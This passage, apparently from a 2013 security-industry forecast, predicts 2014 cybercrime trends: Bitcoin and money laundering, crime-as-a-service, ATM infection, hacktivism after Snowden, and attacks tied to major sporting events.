In May, after the Liberty Reserve shutdown, cybercriminals looked for new sources of virtual currency to finance their businesses. They turned to Perfect Money, WebMoney (for a second time), and Bitcoin. But associating these virtual currencies with electronic or conventional (state guaranteed) moneys remained difficult. Cybercriminals had to use their virtual currencies primarily on the underground market, among themselves, to purchase drugs, services, or equipment. This money was directly reinvested in the black market and was difficult to launder. It was also difficult to retrieve “good money” like dollars or Euros.

But cybercriminals, and lawful users, have found a bit of relief. Some nation-states have decided to recognize Bitcoin: In August, Germany became one of the first countries in the world to recognize Bitcoin as a “private money”; in October, we saw the opening of the world’s first Bitcoin ATM in Vancouver, Canada. At the same time, French boutiques started offering branded perfume for sale and nights at luxurious hotels, Los Angeles restaurants accepted Bitcoin for payment; and an online newspaper claimed a Norwegian citizen bought an Oslo apartment—all with Bitcoin.

Given this increasing acceptance and barring a virtual stock market crash, we predict Bitcoin will remain popular and become a target for cybercriminals in 2014. With more access to the public, Bitcoin will certainly be used for money laundering. Attacks and fraud on exchange platforms, which have already occurred, will increase. Up to now, virtual money has been a platform on which cybercriminals worked in a closed world. In 2014, they will be able to hunt for newcomers.

This interest in virtual and decentralized money will attract more attention from law enforcement and justice officials. Following the money (and the criminals) will become more difficult. The battle against the Dark Web will not be easy to win.

Opportunities for cybercrime

In the coming year, the frontier between cybercrime and state-sponsored attacks will grow more porous. We expect to see advanced spying as a service, “waterholing” as a service, and cracking as a service. As with past aggressive marketing proposals, the distinction between legitimate and illegal activities will be more difficult to determine. Some illicit services will hide among legitimate ones.

As a complement to ATM or point-of-sale skimming, cybercriminals will improve ways to directly infect ATM machines. 3D printers are sometimes used to create skimming devices. These printers will become more popular in cybercrime circles. We anticipate ready-to-use firearms will be the next hot 3D objects sold online.

Snowden boosts hacktivism movement

In November the “Million Mask March” organized by Anonymous attracted people in 450 locations around the world. This success can partially be attributed to the Edward Snowden affair, which will cause new supporters to join the movement. Fearing big brother surveillance systems, many citizens distrust their local administrations, forcing governments to delay the introduction of some legal procedures to fight cybercrime.

However, the varied motivations of Anonymous members will prevent most of their Internet operations from gaining much success. They will be numerous, as in 2013, but rarely highly damaging for their victims.

The Anonymous movement is only one face of hacktivism. Next year its signature will continue to be misappropriated by individuals or groups that range far from Anonymous’ ideals of freedom. Hacktivism in and from the Middle East will continue to grow.

Cyberwarfare a reality

Resulting from a voluntary attack or out-of-control spreading, malware can not only destroy computer data, but also disrupt people’s lives.

In September, malware in Israel caused the closure of a major roadway. One expert, speaking on the condition of anonymity, explained the attack was the work of unknown, sophisticated hackers, similar to the Anonymous group that led attacks on Israeli websites in April.

Politically motivated attacks will continue to increase. We’ll see more from patriots hiding behind the Anonymous brand or labeling themselves cyberarmies. Others will arrive from online spies of governments developing cyberoffensive capabilities. If cyberattacks against critical infrastructure succeed, we will have truly reached the age of cyberterrorism.

The 2014 Sochi Winter Olympics (in February) and the FIFA World Cup in Brazil (June-July) will be massive opportunities for criminals to exploit people’s curiosity to infect their systems with crimeware (for example, via booby trapped email or compromised sites). Hacktivists will also take advantage of these events to promote their ideas. In recent years, we’ve seen destructive malware associated with some politically motivated attacks. These attacks will continue in 2014.

Rioting and racism

Criminals have understood for years that it is easier and less dangerous to steal money online rather than in the physical world. This may be the year that rioting demonstrators will learn the same lesson. Data destruction just for pleasure may become a new threat if politicians cannot mollify certain violent elements of the population.

Racism is not dead and may become a new motivation for defacement. It’s growing on social networks (Facebook, Twitter, etc.). More of the Internet may be poisoned if we are not careful. Information manipulation is another threat we expect to see next year